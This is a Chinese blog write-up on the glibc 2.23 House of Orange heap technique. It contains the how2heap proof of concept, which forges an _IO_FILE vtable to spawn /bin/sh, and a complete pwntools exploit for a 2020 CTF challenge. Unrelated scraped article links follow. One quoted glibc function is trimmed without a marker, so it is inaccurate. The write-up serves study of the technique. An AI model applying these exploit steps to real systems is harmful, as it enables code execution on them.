House_of_orange学习小结

  house_of_orange最早出现在2016年hitcon的一道同名题目,其利用效果,是当程序没有free函数的时候,我们可以通过一些方法,来让chunk被填入unsortbin中,成为一块被free的chunk,然后通过对_IO_FILE_plus.vtable的攻击,达到getshell的目的。

例子

  以how2heap中的house_of_orange为例,来分析house_of_orange的利用过程,libc版本为2.23。

  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4.  
  5. int winner ( char *ptr);
  6.  
  7. int main()
  8. {
  9. char *p1, *p2;
  10. size_t io_list_all, *top;
  11.  
  12. fprintf(stderr, "The attack vector of this technique was removed by changing the behavior of malloc_printerr, "
  13. "which is no longer calling _IO_flush_all_lockp, in 91e7cf982d0104f0e71770f5ae8e3faf352dea9f (2.26).\n");
  14.  
  15. fprintf(stderr, "Since glibc 2.24 _IO_FILE vtable are checked against a whitelist breaking this exploit,"
  16. "https://sourceware.org/git/?p=glibc.git;a=commit;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51\n");
  17.  
  18. /*
  19. Firstly, lets allocate a chunk on the heap.
  20. */
  21.  
  22. p1 = malloc(0x400-16);
  23. top = (size_t *) ( (char *) p1 + 0x400 - 16);
  24. top[1] = 0xc01;
  25.  
  26. p2 = malloc(0x1000);
  27.  
  28. io_list_all = top[2] + 0x9a8;
  29.  
  30. top[3] = io_list_all - 0x10;
  31.  
  32. /*
  33. At the end, the system function will be invoked with the pointer to this file pointer.
  34. If we fill the first 8 bytes with /bin/sh, it is equivalent to system(/bin/sh)
  35. */
  36.  
  37. memcpy( ( char *) top, "/bin/sh\x00", 8);
  38.  
  39. top[1] = 0x61;

  40. FILE *fp = (FILE *) top;
  41.  
  42. /*
  43. 1. Set mode to 0: fp->_mode <= 0
  44. */
  45.  
  46. fp->_mode = 0; // top+0xc0
  47.  
  48. /*
  49. 2. Set write_base to 2 and write_ptr to 3: fp->_IO_write_ptr > fp->_IO_write_base
  50. */
  51.  
  52. fp->_IO_write_base = (char *) 2; // top+0x20
  53. fp->_IO_write_ptr = (char *) 3; // top+0x28
  54.  
  55. /*
  56. 4) Finally set the jump table to controlled memory and place system there.
  57. The jump table pointer is right after the FILE struct:
  58. base_address+sizeof(FILE) = jump_table
  59.  
  60. 4-a) _IO_OVERFLOW calls the ptr at offset 3: jump_table+0x18 == winner
  61. */
  62.  
  63. size_t *jump_table = &top[12]; // controlled memory
  64. jump_table[3] = (size_t) &winner;
  65. *(size_t *) ((size_t) fp + sizeof(FILE)) = (size_t) jump_table; // top+0xd8
  66.  
  67. /* Finally, trigger the whole chain by calling malloc */
  68. malloc(10);
  69.  
  70. /*
  71. The libc's error message will be printed to the screen
  72. But you'll get a shell anyways.
  73. */
  74.  
  75. return 0;
  76. }
  77.  
  78. int winner(char *ptr)
  79. {
  80. system(ptr);
  81. return 0;
  82. }

step1: fake _free_chunk

    程序中,首先开辟了一块0x400大小的chunk。

  1. p1 = malloc(0x400-16);

   申请到的chunk和top chunk紧邻,我们再解释一下top chunk。

  glibc为了减少内存开销,top chunk相当于提前分配出来的一块内存池,然后以后申请比较小的chunk时,直接从top chunk中进行申请。如果没有top chunk,每次申请堆块都要从内存中直接申请,内存的开销就会非常大。当top chunk不够用的时候,glibc就要通过brk再次切割一块内存到heap段,或者用mmap的方式从内存中再次映射出一块内存到进程中。

  我们现在申请出了一块大小为0x400的chunk,这时候,假设我们存在一个堆溢出,可以修改到top chunk的size域。

  1. top = (size_t *) ( (char *) p1 + 0x400 - 16);
  2. top[1] = 0xc01;

  可以看到,top chunk的size域被修改了。由于内存映射的时候,是以内存页的形式进行映射的,内存页的大小就是0x1000字节,所以在本例中,溢出修改top chunk的size域的时候,大小只能修改为0xc00,0x1c00,0x2c00等等。修改完top chunk的size域之后,申请一块大于0xc00大小的chunk。

  1. p2 = malloc(0x1000);

  这时候,old top chunk就被释放到了unsortedbin中,heap段也进行了brk拓展。

  如果开始不修改top chunk的size域大小的话,glibc会通过mmap直接从内存中映射出一块内存地址,这时候无法达到fake free的效果。

  将chunk填入unsortedbin之后,就要用到unsortedbin attack和_IO_FILE_的一些知识来进行后续的利用了。

step2:FSOP

  FILE 在 Linux 系统的标准 IO 库中是用于描述文件的结构,称为文件流。 FILE 结构在程序执行 fopen 等函数时会进行创建,并分配在堆中。我们常定义一个指向 FILE 结构的指针来接收这个返回值。FILE结构体是包裹在_IO_FILE_plus中的,两个结构体定义如下:

  1. struct _IO_FILE_plus
    {
  2. _IO_FILE file;
  3. IO_jump_t *vtable;
  4. }
  1. struct _IO_FILE {
  2. int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
  3. #define _IO_file_flags _flags
  4.  
  5. /* The following pointers correspond to the C++ streambuf protocol. */
  6. /* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  7. char* _IO_read_ptr; /* Current read pointer */
  8. char* _IO_read_end; /* End of get area. */
  9. char* _IO_read_base; /* Start of putback+get area. */
  10. char* _IO_write_base; /* Start of put area. */
  11. char* _IO_write_ptr; /* Current put pointer. */
  12. char* _IO_write_end; /* End of put area. */
  13. char* _IO_buf_base; /* Start of reserve area. */
  14. char* _IO_buf_end; /* End of reserve area. */
  15. /* The following fields are used to support backing up and undo. */
  16. char *_IO_save_base; /* Pointer to start of non-current get area. */
  17. char *_IO_backup_base; /* Pointer to first valid character of backup area */
  18. char *_IO_save_end; /* Pointer to end of non-current get area. */
  19.  
  20. struct _IO_marker *_markers;
  21.  
  22. struct _IO_FILE *_chain;
  23. int _fileno;
  24. #if 0
  25. int _blksize;
  26. #else
  27. int _flags2;
  28. #endif
  29. _IO_off_t _old_offset; /* This used to be _offset but it's too small. */
  30.  
  31. #define __HAVE_COLUMN /* temporary */
  32. /* 1+column number of pbase(); 0 is unknown. */
  33. unsigned short _cur_column;
  34. signed char _vtable_offset;
  35. char _shortbuf[1];
  36.  
  37. /* char* _save_gptr; char* _save_egptr; */
  38.  
  39. _IO_lock_t *_lock;
  40. #ifdef _IO_USE_OLD_IO_FILE
  41. };

  进程中的FILE结构会通过_chain域彼此连接形成一个链表,链表头部用全局变量_IO_list_all表示,通过这个值可以遍历所有的FILE结构。包裹_IO_FILE结构的_IO_FILE_plus中,有一个重要的指针vtable,vtable指向了一系列处理_IO_FILE文件流的函数指针。实际上所有针对_IO_FILE_的攻击都是通过修改或者伪造vtable中的函数指针来实现的,因为类似fopen,fread,fwrite,printf,exit,malloc_printerr等对文件流进行操作的函数,最终的函数调用路径都会指向_IO_FILE_plus.vtable上的函数指针。

  vtable指向的跳转表是一种兼容C++虚函数的实现。当程序对某个流进行操作的时候,会调用该流对应的跳转表中的某个函数,_IO_jump_t 结构体如下所示:

  1. //glibc-2.23 ./libio/libioP.h
  2. struct _IO_jump_t
  3. {
  4. JUMP_FIELD(size_t, __dummy);
  5. JUMP_FIELD(size_t, __dummy2);
  6. JUMP_FIELD(_IO_finish_t, __finish);
  7. JUMP_FIELD(_IO_overflow_t, __overflow);
  8. JUMP_FIELD(_IO_underflow_t, __underflow);
  9. JUMP_FIELD(_IO_underflow_t, __uflow);
  10. JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
  11. /* showmany */
  12. JUMP_FIELD(_IO_xsputn_t, __xsputn);
  13. JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
  14. JUMP_FIELD(_IO_seekoff_t, __seekoff);
  15. JUMP_FIELD(_IO_seekpos_t, __seekpos);
  16. JUMP_FIELD(_IO_setbuf_t, __setbuf);
  17. JUMP_FIELD(_IO_sync_t, __sync);
  18. JUMP_FIELD(_IO_doallocate_t, __doallocate);
  19. JUMP_FIELD(_IO_read_t, __read);
  20. JUMP_FIELD(_IO_write_t, __write);
  21. JUMP_FIELD(_IO_seek_t, __seek);
  22. JUMP_FIELD(_IO_close_t, __close);
  23. JUMP_FIELD(_IO_stat_t, __stat);
  24. JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
  25. JUMP_FIELD(_IO_imbue_t, __imbue);
  26. #if 0
  27. get_column;
  28. set_column;
  29. #endif
  30. };

  house_of_orange.c中通过偏移来确定了io_list_all的值,即main_arena+88与io_list_all的偏移相差0x9a8字节。

  1. io_list_all = top[2] + 0x9a8;
    top[3] = io_list_all - 0x10;

  top在前面被定义为了old top chunk的地址,这里top[2]的值就是unsortedbin中fd指针的值。

  top[2]+0x9a8的地址处,就是全局变量_IO_list_all的地址,修改unsortedbin chunk的bk指针为_IO_list_all的值如图所示。

  在本例中,最终实现攻击的大致思路如下:glibc中定义了打印内存报错信息的函数malloc_printerr,malloc_printerr中实际起作用的是__libc_message函数中定义了abort函数,abort函数在中止进程的时候,会调用_IO_flush_all_lockp遍历刷新所有的文件流,然后会调用_IO_FILE_plus.vtable中的_IO_OVERFLOW函数处理_IO_FILE结构体指针fp。我们在堆区伪造一个_IO_FILE_plus结构体,_IO_FILE_plus.vtable中_IO_OVERFLOW的函数指针修改为system函数地址,_IO_FILE结构体0字节偏移处改写为"sh"或者“/bin/sh”,这时候_IO_OVERFLOW(fp,EOF)就相当于调用system("/bin/sh")。

  malloc_printerr函数调用链和具体代码实现如下:

  1. malloc_printerr --> __libc_message --> abort --> _IO_flush_all_lockp --> _IO_OVERFLOW

  malloc_printerr函数定义在malloc.c中,malloc_printerr中真正起作用的函数,是__libc_message,__libc_message函数被定义在libc_fatal.c中。

  1. static void
  2. malloc_printerr (int action, const char *str, void *ptr, mstate ar_ptr)
  3. {
  4. /* Avoid using this arena in future. We do not attempt to synchronize this
  5. with anything else because we minimally want to ensure that __libc_message
  6. gets its resources safely without stumbling on the current corruption. */
  7. if (ar_ptr)
  8. set_arena_corrupt (ar_ptr);
  9.  
  10. if ((action & 5) == 5)
  11. __libc_message (action & 2, "%s\n", str);
  12. else if (action & 1)
  13. {
  14. char buf[2 * sizeof (uintptr_t) + 1];
  15.  
  16. buf[sizeof (buf) - 1] = '\0';
  17. char *cp = _itoa_word ((uintptr_t) ptr, &buf[sizeof (buf) - 1], 16, 0);
  18. while (cp > buf)
  19. *--cp = '0';
  20.  
  21. __libc_message (action & 2, "*** Error in `%s': %s: 0x%s ***\n",
  22. __libc_argv[0] ? : "<unknown>", str, cp);
  23. }
  24. else if (action & 2)
  25. abort ();
  26. }

  __libc_message函数定义在libc_fatal.c文件中

  1. void
  2. __libc_message (enum __libc_message_action action, const char *fmt, ...)
  3. {
  4. va_list ap;
  5. int fd = -1;
  6.  
  7. va_start (ap, fmt);
  8.  
  9. #ifdef FATAL_PREPARE
  10. FATAL_PREPARE;
  11. #endif
  12.  
  13. .......
  14. if ((action & do_abort))
  15. {
  16. if ((action & do_backtrace))
  17. BEFORE_ABORT (do_abort, written, fd);
  18.  
  19. /* Kill the application. */
  20. abort ();
  21. }
  22. }

  abort()处理进程的时候,会调用_IO_flush_all_lockp遍历刷新所有的文件流,然后会调用_IO_FILE_plus.vtable中的_IO_overflow函数处理_IO_FILE结构体。

  1. int
  2. _IO_flush_all_lockp (int do_lock)
  3. {
  4. int result = 0;
  5. FILE *fp;
  6. #ifdef _IO_MTSAFE_IO
  7. _IO_cleanup_region_start_noarg (flush_cleanup);
  8. _IO_lock_lock (list_all_lock);
  9. #endif
  10. for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
  11. {
  12. run_fp = fp;
  13. if (do_lock)
  14. _IO_flockfile (fp);
  15.  
  16. result = EOF;
  17. if (do_lock)
  18. _IO_funlockfile (fp);
  19. run_fp = NULL;
  20. }
  21. #ifdef _IO_MTSAFE_IO
  22. _IO_lock_unlock (list_all_lock);
  23. _IO_cleanup_region_end (0);
  24. #endif
  25. return result;
  26. }

  试想一下,如果所有文件流中,有一个_IO_FILE结构体的0字节偏移处被改写为"sh",将_IO_FILE_plus.vtable中的_IO_overflow函数指针改写为system函数的地址,这时候执行

  1. _IO_OVERFLOW (fp, EOF) == EOF)

  就相当于是执行:system("sh")。

  满足一下三种情况的时候,有利用FSOP的可能:

  1.当libc执行abort流程时;

  2.当执行exit函数时;

  3.当执行流从main函数返回时。

  1. if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
  2. || (_IO_vtable_offset (fp) == 0
  3. && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
  4. > fp->_wide_data->_IO_write_base))
  5. )
  6. && _IO_OVERFLOW (fp, EOF) == EOF)
  1. io_list_all = top[2] + 0x9a8;
  2. top[3] = io_list_all - 0x10;
  3. memcpy( ( char *) top, "/bin/sh\x00", 8);
  4. top[1]= 0x61;

  在上面的例子中,修改了unsortedbin chunk的bk指针,让bk指针指向了_IO_list_all-0x10地址处,同时修改了unsortedbin chunk的size域为0x61。这时候如果重新申请chunk,会触发unsortedbin attack,这时候_IO_list_all的值被改写为main_arena+88,而unsortedbin由于不满足分配规则,会被分配到smallbin[4]这一条链表中,这时候chunk的fd指针和bk指针指向main_arena+168处,main_arena+194地址处保留指向smallbin chunk的指针。

  main_arena+194和main_arena+88之间的偏移是0x61字节,对照上面的_IO_FILE结构体,可以看到_IO_FILE.chain和首地址之间的偏移正好是0x60。所以,就是说我们改写_IO_list_all的值,让_IO_list_all指向main_arena+88,然后mian_arena+194指向第二个_IO_FILE结构体,也就是我们布置伪造数据的这个smallbin chunk。我们构造好数据,满足利用条件,最终_IO_flush_all_lockp遍历链表,就可以getshell。

  1. if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
  2. || (_IO_vtable_offset (fp) == 0
  3. && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
  4. > fp->_wide_data->_IO_write_base))
  5. )
  6. && _IO_OVERFLOW (fp, EOF) == EOF)

  伪造数据的流程如下:

  1.    FILE *fp = (FILE *) top;
  2. fp->_mode = 0; // top+0xc0
  3. fp->_IO_write_base = (char *) 2; // top+0x20
  4. fp->_IO_write_ptr = (char *) 3; // top+0x28
  5. size_t *jump_table = &top[12]; // controlled memory
  6. jump_table[3] = (size_t) &winner;
  7. *(size_t *) ((size_t) fp + sizeof(FILE)) = (size_t) jump_table; // top+0xd8

  最终,malloc(10)分配失败,调用malloc_printerr函数,触发漏洞利用链,就可以实现getshell。

例题:2020纵横杯 wind_farm_panel

  题目保护全开。

  这道题就是一道典型的house_of_orange,菜单中没有free的选项,所以需要将top_chunk释放到unsortedbin中。程序菜单中实现的各个功能如下:

  1. // local variable allocation has failed, the output may be wrong!
  2. int __cdecl main(int argc, const char **argv, const char **envp)
  3. {
  4. int v3; // eax
  5.  
  6. init_0();
  7. while ( 1 )
  8. {
  9. while ( 1 )
  10. {
  11. while ( 1 )
  12. {
  13. while ( 1 )
  14. {
  15. menu();
  16. v3 = read_int();
  17. if ( v3 != 2 )
  18. break;
  19. show_info(*(__int64 *)&argc, (__int64)argv);
  20. }
  21. if ( v3 > 2 )
  22. break;
  23. if ( v3 != 1 )
  24. goto LABEL_13;
  25. setting();
  26. }
  27. if ( v3 != 3 )
  28. break;
  29. edit();
  30. }
  31. if ( v3 == 4 )
  32. break;
  33. LABEL_13:
  34. *(_QWORD *)&argc = "Invalid!";
  35. puts("Invalid!");
  36. }
  37. puts("bye!");
  38. return 0;
  39. }

  添加堆块的功能如下,可以看到,我们申请的chunk可以小于0x1000字节,这时候在往chunk上读入内容的时候,就会存在一个堆溢出。

  1. int setting()
  2. {
  3. int size; // [rsp+8h] [rbp-8h]
  4. int idx; // [rsp+Ch] [rbp-4h]
  5.  
  6. printf("Please enter the wind turbine to be turned on(0 ~ %d): ", 5LL);
  7. idx = read_int();
  8. if ( idx > 4 )
  9. return puts("There are no more wind turbines");
  10. if ( idx < 0 )
  11. return puts("Unvalidated Input");
  12. printf("Please input the maximum power of this wind turbine: ");
  13. size = read_int();
  14. if ( size <= 0x7F )
  15. return puts("Unvalidated Input");
  16. if ( size > 0xFFF )
  17. {
  18. puts("The maximum power of a wind turbine is 4096 kilowatts");
  19. size = 0x1000;
  20. }
  21. area[idx] = malloc(size);
  22. printf("Please write down the name of the person who opened it\nYour name: ");
  23. read(0, area[idx], 0x1000uLL);
  24. return puts("Done!");
  25. }

  edit函数也一样,堆溢出。

  1. int edit()
  2. {
  3. int v1; // [rsp+8h] [rbp-8h]
  4.  
  5. printf("Please modify your personal information.\nWhich turbine: ");
  6. v1 = read_int();
  7. if ( !area[v1] || v1 < 0 || v1 > 4 )
  8. return puts("Unvalidated Input");
  9. printf("Please input: ");
  10. read(0, area[v1], 0x1000uLL);
  11. return puts("Done");
  12. }

  打印堆块内容的函数如下:

  1. int __fastcall show_info(__int64 a1, __int64 a2)
  2. {
  3. unsigned int i; // [rsp+Ch] [rbp-4h]
  4. int v4; // [rsp+Ch] [rbp-4h]
  5.  
  6. for ( i = 0; (int)i <= 4; ++i )
  7. {
  8. a2 = i;
  9. if ( area[i] )
  10. printf("[\x1B[0;32m+\x1B[0m]turbine[%d]: opened\n", i);
  11. else
  12. printf("[\x1B[0;31m-\x1B[0m]turbine[%d]: closed\n", i);
  13. }
  14. printf("Please select the number of the wind turbine to be viewed: ", a2);
  15. v4 = read_int();
  16. if ( v4 < 0 || v4 > 4 )
  17. return printf("Out of size");
  18. if ( !area[v4] )
  19. return puts("The wind turbine hasn't been turned on yet");
  20. printf("The operator of this wind turbine is ");
  21. printf("%s", area[v4]);
  22. return puts("Done!");
  23. }

  基本思路:通过堆溢出,修改top chunk的size域,将old top chunk填入unsortedbin链表中,然后通过打印函数,泄露处libc中的地址,得到main_arena的地址,然后再申请一块大于unsortedbin chunk的内存,将unsortedbin中的chunk填入到largebin中,通过打印largebin chunk中的内容,泄露出堆地址。然后重新构造堆块,再进行一次将top chunk填入unsortedbin chunk的操作,接下来的步骤就和调试house_of_orange.c的时候没有区别了。

  1. from pwn import *
    context.log_level='debug'
    DEBUG=1
  2. if DEBUG:
  3. p=process('./pwn')
  4. else:
  5. p=remote('182.92.203.154','28452')
  6. elf=ELF('./pwn')
  7. libc=ELF('./libc-2.23.so')
  8. def setting(idx,size,content):
  9. p.recvuntil('>> ')
  10. p.sendline('1')
  11. p.recvuntil('turned on(0 ~ 5): ')
  12. p.sendline(str(idx))
  13. p.recvuntil('wind turbine: ')
  14. p.sendline(str(size))
  15. p.recvuntil('name: ')
  16. p.send(content)
  17. def edit(idx,content):
  18. p.recvuntil('>> ')
  19. p.sendline('3')
  20. p.recvuntil('turbine: ')
  21. p.sendline(str(idx))
  22. p.recvuntil('Please input: ')
  23. p.sendline(content)
  24. p.recvuntil('Done')
  25. #----------------------------------------------libc leak address-----------------------------
  26. #gdb.attach(p)
  27. payload='a'*(0x400-16)+p64(0xa)+p64(0xc01)
  28. setting(0,(0x400-16),payload)
  29. setting(1,0x1000,'b'*0x1000)
    #这里将old top chunk填入unsortedbin中
  30. payload='a'*0x3f0+'a'*16
  31. edit(0,payload)
  32. p.recvuntil(">> ")
  33. p.sendline('2')
  34. p.recvuntil('be viewed: ')
  35. p.sendline('0')
  36. p.recvuntil('a'*0x400)
  37. data=p.recvn(6)
  38. main_arena=u64(data.ljust(8,'\x00'))-0xa+0x78-88
  39. libc_base=main_arena-libc.sym['main_arena']
  40. system_addr=libc_base+libc.sym['system']
  41. log.success('libc base address:%s'%hex(libc_base))
    #泄露libc中地址,通过偏移计算libc基址,system函数地址,main_arena地址
  42. #----------------------------------------------leak heap address-----------------------------------
  43. # overwrite libc address
  44. payload='a'*0x3f0+p64(0)+p64(0xbe1)+p64(main_arena+88)*2
  45. edit(0,payload)
  46. setting(2,0x1000,'c'*0x1000)
    #构造largebin来泄露堆地址
  47. # largebin
  48. payload='a'*0x410
  49. edit(0,payload)
  50. p.recvuntil(">> ")
  51. p.sendline('2')
  52. p.recvuntil('be viewed: ')
  53. p.sendline('0')
  54. p.recvuntil('a'*0x410)
  55. data=p.recvn(6)
  56. heap_addr=u64(data.ljust(8,'\x00'))-0xa
  57. log.success('heap address:%s\n'%hex(heap_addr))
  58. #------------------------------------------------------FSOP------------------------------------------
  59. payload='a'*0x3f0+p64(0)+p64(0x21000-0x400)+p64(main_arena+88)*2
  60. edit(0,payload)
  61. #重新构造出top chunk,再进行一次将top chunk分配到unsortedbin中的操作
    #后续利用就是FSOP的套路了
  62. payload='e'*0xe00+p64(0)+p64(0x1d1)
  63. setting(2,0xe00,payload)
  64. setting(1,0x1000,'a'*0x1000)
  65. payload='a'*0xe00+"/bin/sh\x00"+p64(0x61)+p64(main_arena+88)+p64(main_arena+88+0x998)
  66. payload+=p64(2)+p64(3)
  67. payload+=p64(0)*9
  68. payload+=p64(system_addr)
  69. payload+=p64(0)*11
  70. payload+=p64(heap_addr+0x23a30+0x60)
  71. edit(2,payload)
  72. p.recvuntil('>> ')
  73. p.sendline('1')
  74. p.recvuntil('turned on(0 ~ 5): ')
  75. p.sendline(str(4))
  76. p.recvuntil('wind turbine: ')
  77. p.sendline(str(0x1000))
  78. p.interactive()

  结语:

  回头再看house_of_orange,漏洞利用链的每个环节都设计的非常巧妙。当初能想出这种利用,真的是一种很天才的思维。

  遗憾的是,随着glibc版本的迭代,glibc 2.24之后,有关_IO_FILE的保护机制又有了进一步的完善,glibc 2.29之后unsortedbin attack也完全失效,house_of_orange这种方法也无法再应对高版本的libc。但是学习这种利用姿势,也是加深了对文件流和gliibc内存管理的理解,开拓了思路。

  

  

House_of_orange 学习小结的更多相关文章

  1. flex学习小结

    接触到flex一个多月了,今天做一个学习小结.如果有知识错误或者意见不同的地方.欢迎交流指教. 画外音:先说一下,我是怎么接触到flex布局的.对于正在学习的童鞋们,我建议大家没事可以逛逛网站,看看人 ...

  2. Python 学习小结

    python 学习小结 python 简明教程 1.python 文件 #!/etc/bin/python #coding=utf-8 2.main()函数 if __name__ == '__mai ...

  3. react学习小结(生命周期- 实例化时期 - 存在期- 销毁时期)

    react学习小结   本文是我学习react的阶段性小结,如果看官你是react资深玩家,那么还请就此打住移步他处,如果你想给一些建议和指导,那么还请轻拍~ 目前团队内对react的使用非常普遍,之 ...

  4. objective-c基础教程——学习小结

    objective-c基础教程——学习小结   提纲: 简介 与C语言相比要注意的地方 objective-c高级特性 开发工具介绍(cocoa 工具包的功能,框架,源文件组织:XCode使用介绍) ...

  5. pthread多线程编程的学习小结

    pthread多线程编程的学习小结  pthread 同步3种方法: 1 mutex 2 条件变量 3 读写锁:支持多个线程同时读,或者一个线程写     程序员必上的开发者服务平台 —— DevSt ...

  6. ExtJs学习笔记之学习小结LoginDemo

    ExtJs学习小结LoginDemo 1.示例:(登录界面) <!DOCTYPE html> <html> <head> <meta charset=&quo ...

  7. 点滴的积累---J2SE学习小结

    点滴的积累---J2SE学习小结 什么是J2SE J2SE就是Java2的标准版,主要用于桌面应用软件的编程:包括那些构成Java语言核心的类.比方:数据库连接.接口定义.输入/输出.网络编程. 学习 ...

  8. (转) Parameter estimation for text analysis 暨LDA学习小结

    Reading Note : Parameter estimation for text analysis 暨LDA学习小结 原文:http://www.xperseverance.net/blogs ...

  9. dubbo学习小结

    dubbo学习小结 参考: https://blog.csdn.net/paul_wei2008/article/details/19355681 https://blog.csdn.net/liwe ...

随机推荐

  1. canvas介绍和用途

    canvas介绍和用途 canvas(画布)主要是位图 svg(矢量图) canvas标签,必须要写的3个属性 id width height 为什么不在style中设置width和height呢? ...

  2. Redis的数据安全与性能保障

    1.持久化选项 Redis提供了2种不同的持久化方法来将数据存储到硬盘里面.一种方法叫快照(snapshotting),它可以将存在于某一时刻的所有数据都写入硬盘里.另一种方法叫只追加文件(appen ...

  3. 第13章:Kubernetes 鉴权框架与用户权限分配

    1.Kubernetes的安全框架 访问K8S集群的资源需要过三关:认证.鉴权.准入控制 普通用户若要安全访问集群API Server,往往需要证书.Token或者用户名+密码:Pod访问,需要Ser ...

  4. python3.6虚拟环境

    3.1.安装python3.6 [root@slavenode1 ~]# python -V Python 2.7.5 [root@slavenode1 ~]# yum install python3 ...

  5. 12-2 MySQL数据库备份(分表)

    #!/bin/bash source /etc/profile DATE="$(date +%F_%H-%M-%S)" DB_IP="172.16.1.122" ...

  6. 11、函数(def)

    11.1.函数: 函数即变量 函数的作用域只跟函数声明时定义的作用域有关,跟函数的调用位置无任何关系 1.函数格式: def test(x): ''' 2*x+1 :param x:整形数字 :ret ...

  7. layui 合计行不要边框

    $(".layui-table-total div").attr('style','text-overflow:clip'); //合并合计行单元格 $(".layui- ...

  8. 面试题五:Spring

    Spring IoC 什么是IoC? 容器创建Bean对象,将他们装配在一起,配置并且管理它们的完整生命周期. Spring容器使用依赖注入来管理组成应用程序的Bean对象: 容器通过提供的配置元数据 ...

  9. SpringBoot中如何监听两个不同源的RabbitMQ消息队列

    spring-boot如何配置监听两个不同的RabbitMQ 由于前段时间在公司开发过程中碰到了一个问题,需要同时监听两个不同的rabbitMq,但是之前没有同时监听两个RabbitMq的情况,因此在 ...

  10. linux 中获取进程和kill进程的几种方法

    ps: ps命令是最基本同时也是非常强大的进程查看命令,使用该命令可以确定有哪些进程正在运行和运行的状态.进程是否结束.进程有没有僵尸.哪些进程占用了过多的资源等等. 注意:ps是显示瞬间进程的状态, ...